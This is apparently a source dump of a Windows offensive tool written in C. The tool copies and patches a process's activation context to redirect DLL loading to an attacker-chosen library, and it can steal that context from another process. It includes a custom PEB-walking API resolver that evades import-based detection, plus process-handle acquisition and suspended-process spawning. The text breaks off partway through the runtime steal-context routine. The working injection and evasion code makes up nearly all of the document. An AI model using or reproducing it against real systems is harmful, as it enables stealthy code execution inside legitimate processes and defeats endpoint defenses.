fnNtQueryInformationProcess pNtQueryInformationProcess,
fnNtReadVirtualMemory pNtReadVirtualMemory,
HANDLE hProcess,
PSIZE_T actCtxSize
);
static int bounds_ok(
const BYTE* blob,
ULONG totalSize,
ULONG offset,
ULONG size
);
static void print_wcs(
const WCHAR* ws,
ULONG byteLen
);
static WCHAR* assemble_path(
const BYTE* B1,
ULONG b1Offset,
const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir,
ULONG totalSize
);
void ParseDllRedirections(
const BYTE* blob,
ULONG totalSize
);
ULONG PatchDllRedirectionEntry(
BYTE* blob,
ULONG totalSize,
ULONG entryIdx,
const WCHAR* redirectPath
);
ULONG AddDllRedirectionEntry(
BYTE* blob,
ULONG totalSize,
const WCHAR* dllName,
const WCHAR* redirectPath,
ULONG rosterIdx
);
ULONG PatchOrAddDllRedirection(
BYTE* blob,
ULONG totalSize,
const WCHAR* dllName,
const WCHAR* redirectPath,
ULONG rosterIdx
);
NTSTATUS HijackActCtx(
fnNtReadVirtualMemory pNtReadVirtualMemory,
fnNtCreateSection pNtCreateSection,
fnNtMapViewOfSection pNtMapViewOfSection,
fnNtUnmapViewOfSection pNtUnmapViewOfSection,
fnNtQueryInformationProcess pNtQueryInformationProcess,
HANDLE hProcess,
void* actCtxBlob,
SIZE_T actCtxSize
);
+63
View File
@@ -0,0 +1,63 @@
#include <stdlib.h>
#include <wchar.h>
#include "c_runtime.h"
// Translate char to wchar_t strings
wchar_t *phantom_char_to_wchar_ascii(const char *src) {
if (!src) return NULL;
size_t len = 0;
while (src[len]) len++;
wchar_t *dst = malloc((len + 1) * sizeof(wchar_t));
if (!dst) return NULL;
for (size_t i = 0; i < len; i++)
dst[i] = (wchar_t)(unsigned char)src[i]; // (unsigned char) avoids sign extension for bytes > 127
dst[len] = L'\0';
return dst;
}
// Custom wcscmp
int phantom_wcscmp(const wchar_t *s1, const wchar_t *s2) {
while (*s1 && (*s1 == *s2)) {
s1++;
s2++;
}
return (int)(*s1 - *s2);
}
// Custom lstrcmpiW
static wchar_t phantom_to_lower_w(wchar_t c)
{
if (c >= L'A' && c <= L'Z')
return c + (L'a' - L'A');
return c;
}
int phantom_lstrcmpiW(const wchar_t *s1, const wchar_t *s2)
{
if (!s1 && !s2) return 0;
if (!s1) return -1;
if (!s2) return 1;
while (*s1 && *s2)
{
wchar_t c1 = phantom_to_lower_w(*s1);
wchar_t c2 = phantom_to_lower_w(*s2);
if (c1 != c2)
return (c1 > c2) ? 1 : -1;
s1++;
s2++;
}
wchar_t c1 = phantom_to_lower_w(*s1);
wchar_t c2 = phantom_to_lower_w(*s2);
if (c1 == c2) return 0;
return (c1 > c2) ? 1 : -1;
}
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include <wchar.h>
// Custom C-RunTime functions
wchar_t *phantom_char_to_wchar_ascii(
const char *src
);
int phantom_wcscmp(
const wchar_t *s1,
const wchar_t *s2
);
static wchar_t phantom_to_lower_w(
wchar_t c
);
int phantom_lstrcmpiW(
const wchar_t *s1,
const wchar_t *s2
);
+56
View File
@@ -0,0 +1,56 @@
#include <Windows.h>
#include <winternl.h>
#include "c_runtime.h"
// Custom implementation of GetModuleHandleW
HMODULE phantom_GetModuleHandleW(IN LPCWSTR szModuleName) {
// Indirect PEB access
PTEB pTeb = (PTEB)_readgsbase_u64();
PPEB pPeb = *(PPEB*)((BYTE*)pTeb + 0x60);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pPeb->Ldr->InMemoryOrderModuleList.Flink);
PLIST_ENTRY pListHead = (PLIST_ENTRY)&pPeb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY pListNode = (PLIST_ENTRY)pListHead->Flink;
do {
if (pDte->FullDllName.Length != 0) {
// Extract filename from full path (find last backslash)
WCHAR* fullName = pDte->FullDllName.Buffer;
WCHAR* fileName = fullName;
for (WCHAR* p = fullName; *p; p++) {
if (*p == L'\\') fileName = p + 1;
}
// Case-insensitive compare against filename only
if (phantom_lstrcmpiW(fileName, szModuleName) == 0) {
return (HMODULE)(pDte->Reserved2[0]);
}
// Advance to next entry
pDte = (PLDR_DATA_TABLE_ENTRY)(pListNode->Flink);
pListNode = (PLIST_ENTRY)pListNode->Flink;
}
} while (pListNode != pListHead);
return NULL;
}
// Custom implementation of GetProcAddressA
FARPROC phantom_GetProcAddressA(HMODULE hModule, LPCSTR lpProcName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) {
return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]);
}
}
return NULL;
}
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <Windows.h>
HMODULE phantom_GetModuleHandleW(
LPCWSTR szModuleName
);
FARPROC phantom_GetProcAddressA(
HMODULE hModule,
LPCSTR lpProcName
);
+194
View File
@@ -0,0 +1,194 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
/************************* Defines *************************/
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define PCLIENT_ID CLIENT_ID*
/* Activation Context related */
#define ACTX_MAGIC 0x78746341UL /* "Actx" */
#define STRING_SECTION_MAGIC 0x64487353UL /* "SsHd" */
#ifndef ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION
#define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION 2
#endif
#ifndef ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE
#define ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE 1
#endif
// Manifest DLL Redirection flags
#define ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME 0x00000001
#define ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT 0x00000002
#define ACTX_DLL_REDIR_EXPAND 0x00000004
#define ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED 0x00000008
// Given a Activation Context blob base pointer and a byte offset, returns a pointer of type T (specified by user).
// Avoids repeating the (T*)((BYTE*)(base) + offset) pattern everywhere.
#define BLOB_PTR(base, offset, T) \
((T*)((BYTE*)(base) + (offset)))
/************************* Enums *************************/
typedef enum _SECTION_INHERIT
{
ViewShare = 1, // The mapped view of the section will be mapped into any child processes created by the process.
ViewUnmap = 2 // The mapped view of the section will not be mapped into any child processes created by the process.
} SECTION_INHERIT;
/************************* Structs *************************/
typedef struct _ACTIVATION_CONTEXT_DATA
{
ULONG Magic;
ULONG HeaderSize;
ULONG FormatVersion;
ULONG TotalSize;
ULONG DefaultTocOffset; // to ACTIVATION_CONTEXT_DATA_TOC_HEADER
ULONG ExtendedTocOffset; // to ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER
ULONG AssemblyRosterOffset; // to ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER
ULONG Flags; // ACTIVATION_CONTEXT_FLAG_*
} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA;
typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER {
ULONG HeaderSize;
ULONG EntryCount;
ULONG FirstEntryOffset; // from B0
ULONG Flags;
} ACTIVATION_CONTEXT_DATA_TOC_HEADER;
typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY {
ULONG Id;
ULONG Offset; // from B0
ULONG Length;
ULONG Format;
} ACTIVATION_CONTEXT_DATA_TOC_ENTRY;
typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER {
ULONG Magic;
ULONG HeaderSize;
ULONG FormatVersion;
ULONG DataFormatVersion;
ULONG Flags;
ULONG ElementCount;
ULONG ElementListOffset; // from B1
ULONG HashAlgorithm;
ULONG SearchStructureOffset; // from B1
ULONG UserDataOffset; // from B1
ULONG UserDataSize;
} ACTIVATION_CONTEXT_STRING_SECTION_HEADER;
typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY {
ULONG PseudoKey;
ULONG KeyOffset; // from B1
ULONG KeyLength; // in bytes
ULONG Offset; // from B1
ULONG Length;
ULONG AssemblyRosterIndex;
} ACTIVATION_CONTEXT_STRING_SECTION_ENTRY;
typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION {
ULONG Size;
ULONG Flags;
ULONG TotalPathLength; // in bytes
ULONG PathSegmentCount;
ULONG PathSegmentOffset; // from B1
} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION;
typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT {
ULONG Length; // in bytes
ULONG Offset; // from B1
} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT;
/************************* NT Function Typedefs *************************/
// CreateProcessW from kernel32.dll
typedef BOOL (*fnCreateProcessW)(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
// ResumeThread from kernel32.dll
typedef DWORD (*fnResumeThread)(
HANDLE hThread
);
// NtQueryInformationProcess
typedef NTSTATUS (*fnNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
// NtReadVirtualMemory
typedef NTSTATUS (*fnNtReadVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
// NtQuerySystemInformation
typedef NTSTATUS (*fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// NtOpenProcess
typedef NTSTATUS (*fnNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
// NtCreateSection
typedef NTSTATUS (*fnNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
// NtMapViewOfSection
typedef NTSTATUS (*fnNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG PageProtection
);
// NtUnmapViewOfSection
typedef NTSTATUS (NTAPI *fnNtUnmapViewOfSection)(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
+85
View File
@@ -0,0 +1,85 @@
#include <Windows.h>
#include <stdio.h>
#include "c_runtime.h"
#include "process_utils.h"
#include "ntdefs.h"
// Opens a handle to a process by PID with the specified access rights
HANDLE GetProcessHandleByPid(fnNtOpenProcess pNtOpenProcess, DWORD pid, ACCESS_MASK desiredAccess){
NTSTATUS status = 0;
// Process Info
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES objPsAttr;
InitializeObjectAttributes(&objPsAttr, NULL, 0, NULL, NULL);
CLIENT_ID clientId = {(HANDLE)(ULONG_PTR)pid, (HANDLE)0};
// Get Remote Process Handle
status = pNtOpenProcess(&hProcess, desiredAccess, &objPsAttr, &clientId);
if (!NT_SUCCESS(status)) {
printf("[ERROR] NtOpenProcess failed. Status: 0x%08lX\n", (unsigned long)status);
return NULL;
}
printf("[SUCCESS] Opened handle to PID %u\n", pid);
return hProcess;
}
// Finds a process by name in the system process list and returns a handle with the specified access rights
HANDLE GetProcessHandleByName(
fnNtQuerySystemInformation pNtQuerySystemInformation,
fnNtOpenProcess pNtOpenProcess,
const WCHAR* ps_name,
ACCESS_MASK desiredAccess
){
NTSTATUS status = 0;
// NtQuerySystemInformation required vars
DWORD pid = 0;
void* outbuffer = NULL;
ULONG outbuff_size = 0;
// Find out required buffer size
pNtQuerySystemInformation(SystemProcessInformation, NULL, 0, &outbuff_size);
// Allocate output buffer memory and call the function again
outbuffer = malloc(outbuff_size);
pNtQuerySystemInformation(SystemProcessInformation, outbuffer, outbuff_size, &outbuff_size);
PSYSTEM_PROCESS_INFORMATION spi = outbuffer;
// Walk process list and match by ImageName
while (1) {
if (spi->ImageName.Buffer != NULL &&
phantom_lstrcmpiW(spi->ImageName.Buffer, ps_name) == 0) {
pid = (DWORD)(ULONG_PTR)spi->UniqueProcessId;
break;
}
if (spi->NextEntryOffset == 0)
break;
spi = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)spi + spi->NextEntryOffset);
}
free(outbuffer);
if(!pid){
printf("[ERROR] Couldn't identify PID for process '%ls'\n", ps_name);
return (HANDLE)0;
}
printf("[SUCCESS] Found '%ls' PID %lu\n", ps_name, pid);
// Delegate handle opening to GetProcessHandleByPid
HANDLE hProcess = GetProcessHandleByPid(pNtOpenProcess, pid, desiredAccess);
if (!hProcess) {
printf("[ERROR] Couldn't get process handle for '%ls'\n", ps_name);
return (HANDLE)0;
}
return hProcess;
}
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include "ntdefs.h"
HANDLE GetProcessHandleByPid(
fnNtOpenProcess pNtOpenProcess,
DWORD pid,
ACCESS_MASK desiredAccess
);
HANDLE GetProcessHandleByName(
fnNtQuerySystemInformation pNtQuerySystemInformation,
fnNtOpenProcess pNtOpenProcess,
const WCHAR* targetName,
ACCESS_MASK desiredAccess
);
+241
View File
@@ -0,0 +1,241 @@
#include <Windows.h>
#include <stdio.h>
#include "utils\utils.h"
#include "recon\recon.h"
#include "spawn\spawn.h"
#include "runtime\runtime.h"
// Returns the value of a flag, or NULL if not found
char* getArg(int argc, char** argv, const char* flag) {
for (int i = 1; i < argc - 1; i++) {
if (strcmp(argv[i], flag) == 0) {
return argv[i + 1];
}
}
return NULL;
}
// Returns TRUE if a flag exists
BOOL hasArg(int argc, char** argv, const char* flag) {
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], flag) == 0) return TRUE;
}
return FALSE;
}
// Validates that no unknown flags are present for a given mode
// validFlags: NULL-terminated array of valid flag strings
BOOL validateArgs(int argc, char** argv, const char** validFlags) {
for (int i = 1; i < argc; i++) {
if (argv[i][0] == '-') {
BOOL known = FALSE;
for (int j = 0; validFlags[j] != NULL; j++) {
if (strcmp(argv[i], validFlags[j]) == 0) {
known = TRUE;
break;
}
}
if (!known) {
fprintf(stderr, "[ERROR] Unknown argument '%s'.\n\n", argv[i]);
return FALSE;
}
if (i + 1 < argc) i++; // skip flag value if present
} else if (i > 1 &&
strcmp(argv[i - 1], "-m") != 0 &&
strcmp(argv[i - 1], "-s") != 0 &&
strcmp(argv[i - 1], "-p") != 0) {
fprintf(stderr, "[ERROR] Unexpected argument '%s'.\n\n", argv[i]);
return FALSE;
}
}
return TRUE;
}
int main(int argc, char** argv) {
if (argc < 2) {
helpPanel();
return 0;
}
// Global --help/-h without -m
if (!hasArg(argc, argv, "-m")) {
if (hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h")) {
helpPanel();
return 0;
}
fprintf(stderr, "[ERROR] No mode specified. Use -m [MODE].\n\n");
helpPanel();
return 1;
}
// Parse -m [MODE]
char* mode = getArg(argc, argv, "-m");
if (mode == NULL) {
fprintf(stderr, "[ERROR] -m requires a mode argument.\n\n");
helpPanel();
return 1;
}
BOOL wantsHelp = hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h");
// -------------------------------------------------------------------------
// MODE: recon
// -------------------------------------------------------------------------
if (strcmp(mode, "recon") == 0) {
if (wantsHelp || argc < 4) { helpPanelRecon(); return 0; }
const char* validFlags[] = { "-m", "-s", "-p", "--help", "-h", NULL };
if (!validateArgs(argc, argv, validFlags)) {
helpPanelRecon();
return 1;
}
char* submode = getArg(argc, argv, "-s");
if (submode == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
fprintf(stderr, " Use '-m recon -s spawn' or '-m recon -s runtime'.\n\n");
helpPanelRecon();
return 1;
}
if (strcmp(submode, "spawn") != 0 && strcmp(submode, "runtime") != 0) {
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
fprintf(stderr, " Valid submodes: spawn, runtime.\n\n");
helpPanelRecon();
return 1;
}
char* target = getArg(argc, argv, "-p");
if (target == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -p [PID|PATH].\n\n");
helpPanelRecon();
return 1;
}
modeRecon(submode, target);
// -------------------------------------------------------------------------
// MODE: spawn
// -------------------------------------------------------------------------
} else if (strcmp(mode, "spawn") == 0) {
if (wantsHelp || argc < 4) { helpPanelSpawn(); return 0; }
const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL };
if (!validateArgs(argc, argv, validFlags)) {
helpPanelSpawn();
return 1;
}
char* submode = getArg(argc, argv, "-s");
char* target = getArg(argc, argv, "-p");
char* dllName = getArg(argc, argv, "-d");
char* dllPath = getArg(argc, argv, "--dll-path");
char* stealFrom = getArg(argc, argv, "--steal-from");
if (submode == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
helpPanelSpawn();
return 1;
}
if (strcmp(submode, "steal-context") != 0 &&
strcmp(submode, "add-entry") != 0 &&
strcmp(submode, "patch-entry") != 0) {
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
helpPanelSpawn();
return 1;
}
if (target == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -p <PATH>.\n\n");
helpPanelSpawn();
return 1;
}
if (dllName == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -d <DLL>.\n\n");
helpPanelSpawn();
return 1;
}
if (dllPath == NULL) {
fprintf(stderr, "[ERROR] Missing required argument --dll-path <PATH>.\n\n");
helpPanelSpawn();
return 1;
}
if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) {
fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from <PROCESS_NAME>.\n\n");
helpPanelSpawn();
return 1;
}
modeSpawn(submode, target, dllName, dllPath, stealFrom);
// -------------------------------------------------------------------------
// MODE: runtime
// -------------------------------------------------------------------------
} else if (strcmp(mode, "runtime") == 0) {
if (wantsHelp || argc < 4) { helpPanelRuntime(); return 0; }
const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL };
if (!validateArgs(argc, argv, validFlags)) {
helpPanelRuntime();
return 1;
}
char* submode = getArg(argc, argv, "-s");
char* target = getArg(argc, argv, "-p");
char* dllName = getArg(argc, argv, "-d");
char* dllPath = getArg(argc, argv, "--dll-path");
char* stealFrom = getArg(argc, argv, "--steal-from");
if (submode == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n");
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
helpPanelRuntime();
return 1;
}
if (strcmp(submode, "steal-context") != 0 &&
strcmp(submode, "add-entry") != 0 &&
strcmp(submode, "patch-entry") != 0) {
fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode);
fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n");
helpPanelRuntime();
return 1;
}
if (target == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -p <NAME>.\n\n");
helpPanelRuntime();
return 1;
}
if (dllName == NULL) {
fprintf(stderr, "[ERROR] Missing required argument -d <DLL>.\n\n");
helpPanelRuntime();
return 1;
}
if (dllPath == NULL) {
fprintf(stderr, "[ERROR] Missing required argument --dll-path <PATH>.\n\n");
helpPanelRuntime();
return 1;
}
if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) {
fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from <PROCESS_NAME>.\n\n");
helpPanelRuntime();
return 1;
}
modeRuntime(submode, target, dllName, dllPath, stealFrom);
// -------------------------------------------------------------------------
// Unknown mode
// -------------------------------------------------------------------------
} else {
fprintf(stderr, "[ERROR] Unknown mode '%s'.\n\n", mode);
helpPanel();
return 1;
}
return 0;
}
+156
View File
@@ -0,0 +1,156 @@
#include <Windows.h>
#include <stdio.h>
#include "recon.h"
#include "..\common\dynamic_resolution.h"
#include "..\common\c_runtime.h"
#include "..\common\ntdefs.h"
#include "..\common\actctx.h"
#include "..\common\process_utils.h"
BOOL reconSpawn(const char* targetPath){
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
if(!hKernel32){
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
return FALSE;
}
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if(!hNtdll){
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
if(!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess){
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Launch target process in suspended state
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
STARTUPINFOW si = { 0 };
si.cb = sizeof(STARTUPINFOW);
PROCESS_INFORMATION pi = { 0 };
BOOL result = pCreateProcessW(
NULL,
widePath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
free(widePath);
if (!result) {
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
return FALSE;
}
printf("[SUCCESS] Suspended process created...\n");
// Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
if(!actCtxBlob){
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return FALSE;
}
// Parse TOC entries and DLL redirection section from the Activation Context Data blob
ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize);
// Cleanup
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
BOOL reconRuntime(const char* processName){
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if(!hNtdll){
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
if(!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || !pNtQueryInformationProcess){
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Get target process handle specifying the name
WCHAR* ps_name = phantom_char_to_wchar_ascii(processName);
HANDLE hProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, ps_name, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
if (!hProcess) {
free(ps_name);
return FALSE;
}
free(ps_name);
// Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hProcess, &actCtxSize);
if(!actCtxBlob){
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
CloseHandle(hProcess);
return FALSE;
}
// Parse TOC entries and DLL redirection section from the Activation Context Data blob
ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize);
// Cleanup
HeapFree(GetProcessHeap(), 0, actCtxBlob);
CloseHandle(hProcess);
return TRUE;
}
BOOL modeRecon(const char* submode, const char* target) {
if (strcmp(submode, "spawn") == 0) {
if(!reconSpawn(target)){
return FALSE;
}
return TRUE;
} else if (strcmp(submode, "runtime") == 0) {
if(!reconRuntime(target)){
return FALSE;
}
return TRUE;
}
return FALSE;
}
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include <Windows.h>
BOOL modeRecon(
const char* submode,
const char* target
);
BOOL reconSpawn(
const char* targetPath
);
BOOL reconRuntime(
const char* processName
);
+437
View File
@@ -0,0 +1,437 @@
#include <Windows.h>
#include <stdio.h>
#include "runtime.h"
#include "..\common\dynamic_resolution.h"
#include "..\common\c_runtime.h"
#include "..\common\ntdefs.h"
#include "..\common\actctx.h"
#include "..\common\process_utils.h"
BOOL runtimeStealContext(const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) {
// Dynamic module address resolution using custom implementation of GetModuleHandleW
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
return FALSE;
}
// Dynamic function address resolution using custom implementation of GetProcAddressA
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess) phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory) phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
fnNtCreateSection pNtCreateSection = (fnNtCreateSection) phantom_GetProcAddressA(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection) phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
if (!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory ||
!pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection) {
printf("[ERROR] Dynamic function address resolution failed.\n");
return FALSE;
}
// Get steal process handle specifying the name
WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom);
HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
free(wStealFrom);
if (!hStealProcess) return FALSE;
SIZE_T actCtxSize = 0;
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize);
CloseHandle(hStealProcess);
if (!actCtxBlob) {
printf("[ERROR] Failed to copy Activation Context Data blob from steal process.\n");
return FALSE;
}
printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize);
// Reallocate with extra space for patching
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD);
if (!blob) {
printf("[ERROR] HeapReAlloc failed.\n");
HeapFree(GetProcessHeap(), 0, actCtxBlob);
return FALSE;
}
// Convert dllName and dllPath to WCHAR
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
if (!wDllName || !wDllPath) {
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
free(wDllName);
free(wDllPath);
HeapFree(GetProcessHeap(), 0, blob);
return FALSE;
}
